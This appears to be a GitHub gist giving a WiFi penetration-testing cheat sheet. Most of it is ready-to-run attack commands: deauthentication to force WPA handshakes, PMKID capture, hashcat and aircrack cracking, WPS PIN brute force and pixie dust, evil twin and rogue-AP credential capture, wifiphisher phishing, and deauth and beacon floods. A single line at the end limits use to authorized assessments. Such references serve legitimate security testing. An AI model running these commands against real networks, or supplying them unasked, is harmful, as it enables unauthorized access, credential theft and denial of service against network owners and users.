Skip to content

Instantly share code, notes, and snippets.

@garagon
Created February 17, 2026 13:27
Show Gist options
  • Select an option

  • Save garagon/78c6ab60f4bd0ed29cc3193ea565476a to your computer and use it in GitHub Desktop.

Select an option

Save garagon/78c6ab60f4bd0ed29cc3193ea565476a to your computer and use it in GitHub Desktop.
WiFi Pentesting Cheat Sheet — Monitor mode, WPA/WPA2 handshake capture, PMKID attack, Evil Twin, WPS attacks

WiFi Pentesting Cheat Sheet

Wireless network security testing commands and workflows for authorized assessments.

Interface Setup

# List wireless interfaces
iwconfig
iw dev

# Check chipset and driver (must support monitor mode)
lsusb                         # USB adapters
airmon-ng                     # List compatible interfaces

# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Or manually:
ip link set wlan0 down
iw wlan0 set monitor control
ip link set wlan0 up

# Verify monitor mode
iwconfig wlan0mon

# Change channel
iwconfig wlan0mon channel 6

# Disable monitor mode when done
airmon-ng stop wlan0mon

Reconnaissance

# Scan all networks (passive)
airodump-ng wlan0mon

# Scan specific band
airodump-ng wlan0mon --band a      # 5 GHz
airodump-ng wlan0mon --band bg     # 2.4 GHz
airodump-ng wlan0mon --band abg    # Both

# Target specific network
airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon

# Scan with wash (find WPS-enabled networks)
wash -i wlan0mon

# Passive scan with Kismet (comprehensive)
kismet -c wlan0mon

WPA/WPA2 PSK Attacks

4-Way Handshake Capture

# Step 1: Start capture on target channel
airodump-ng -c CHANNEL --bssid TARGET_BSSID -w handshake wlan0mon

# Step 2: Deauthenticate a client to force reconnection
aireplay-ng -0 5 -a TARGET_BSSID -c CLIENT_MAC wlan0mon

# Step 3: Wait for "WPA handshake: XX:XX:XX:XX:XX:XX" in airodump
# Handshake saved to handshake-01.cap

# Verify handshake was captured
aircrack-ng handshake-01.cap

PMKID Attack (Clientless)

# No need to wait for a client — attacks the AP directly
# Requires hcxdumptool and hcxtools

# Capture PMKID
hcxdumptool -i wlan0mon -o capture.pcapng --filterlist_ap=target_bssid.txt --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcapng

# Crack with hashcat
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

Crack Handshake

# Aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap

# Convert for hashcat
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Or older method:
cap2hccapx handshake-01.cap hash.hccapx

# Hashcat (GPU — much faster)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# John the Ripper
aircrack-ng -J hash handshake-01.cap
john --wordlist=/usr/share/wordlists/rockyou.txt hash.hccap

WPA Enterprise (EAP)

# Create rogue AP with hostapd-mana or EAPHammer
# Captures credentials from clients trying to connect

# EAPHammer
eaphammer --bssid TARGET_BSSID --essid "CorpWiFi" --channel 6 --interface wlan0mon --auth wpa-eap --creds

# hostapd-mana
# Configure hostapd-mana.conf with target SSID
hostapd-mana hostapd-mana.conf

# Captured credentials can be cracked:
# MSCHAP hashes → hashcat -m 5500
# PEAP → extract inner credentials

WPS Attacks

# Find WPS-enabled networks
wash -i wlan0mon

# Reaver (brute force WPS PIN)
reaver -i wlan0mon -b TARGET_BSSID -c CHANNEL -vv

# Bully (alternative WPS attack)
bully -b TARGET_BSSID -c CHANNEL wlan0mon

# Pixie dust attack (offline, much faster)
reaver -i wlan0mon -b TARGET_BSSID -c CHANNEL -K 1 -vv
bully -b TARGET_BSSID -c CHANNEL -d wlan0mon

Evil Twin / Rogue AP

# Using Fluxion (automated evil twin framework)
fluxion

# Manual evil twin setup:
# 1. Create AP with hostapd
cat > /tmp/hostapd.conf << EOF
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
EOF
hostapd /tmp/hostapd.conf

# 2. Set up DHCP
dnsmasq --interface=wlan0mon --dhcp-range=192.168.1.10,192.168.1.50,12h --no-daemon

# 3. Enable routing
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# 4. Run captive portal or credential capture

# wifiphisher (automated phishing)
wifiphisher -aI wlan0mon -eI wlan1 --essid "TargetNetwork"

Deauthentication Attacks

# Deauth all clients from an AP
aireplay-ng -0 0 -a TARGET_BSSID wlan0mon

# Deauth specific client
aireplay-ng -0 10 -a TARGET_BSSID -c CLIENT_MAC wlan0mon

# mdk4 (more advanced)
mdk4 wlan0mon d -B TARGET_BSSID         # Deauth
mdk4 wlan0mon b -f ssid_list.txt        # Beacon flood

Post-Capture Analysis

# View captured packets
wireshark handshake-01.cap

# Filter EAPOL frames (handshake)
# Wireshark filter: eapol

# Extract beacon frames
tshark -r capture.pcap -Y "wlan.fc.type_subtype==0x08" -T fields -e wlan.ssid -e wlan.bssid

# List all SSIDs
tshark -r capture.pcap -Y "wlan.fc.type_subtype==0x08" -T fields -e wlan.ssid | sort -u

# Find hidden SSIDs (from probe responses)
tshark -r capture.pcap -Y "wlan.fc.type_subtype==0x05" -T fields -e wlan.ssid | sort -u

Custom Wordlist for WiFi

# Common WiFi password patterns to try:
# - Company/location name + numbers
# - Phone numbers (10 digits)
# - Simple patterns: 12345678, password1, qwertyui

# Generate 8-digit numeric wordlist (common for home routers)
crunch 8 8 0123456789 -o wifi_numeric8.txt

# Generate common patterns
crunch 8 12 -t @@@@%%%% -o wifi_words.txt

# Combine with company-specific words
# Use CeWL on company website for custom wordlist
cewl https://target-company.com -d 2 -m 4 -w company_words.txt

Recommended Adapters (Monitor Mode + Injection)

# Chipset compatibility:
# Atheros AR9271    → TP-Link TL-WN722N v1 (not v2/v3)
# Realtek RTL8812AU → Alfa AWUS036ACH (dual band)
# Ralink RT3070     → Alfa AWUS036NHA
# Realtek RTL8814AU → Alfa AWUS1900

# Check driver support:
# airmon-ng (lists compatible interfaces)

For authorized wireless security assessments only. Unauthorized access to networks is illegal.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment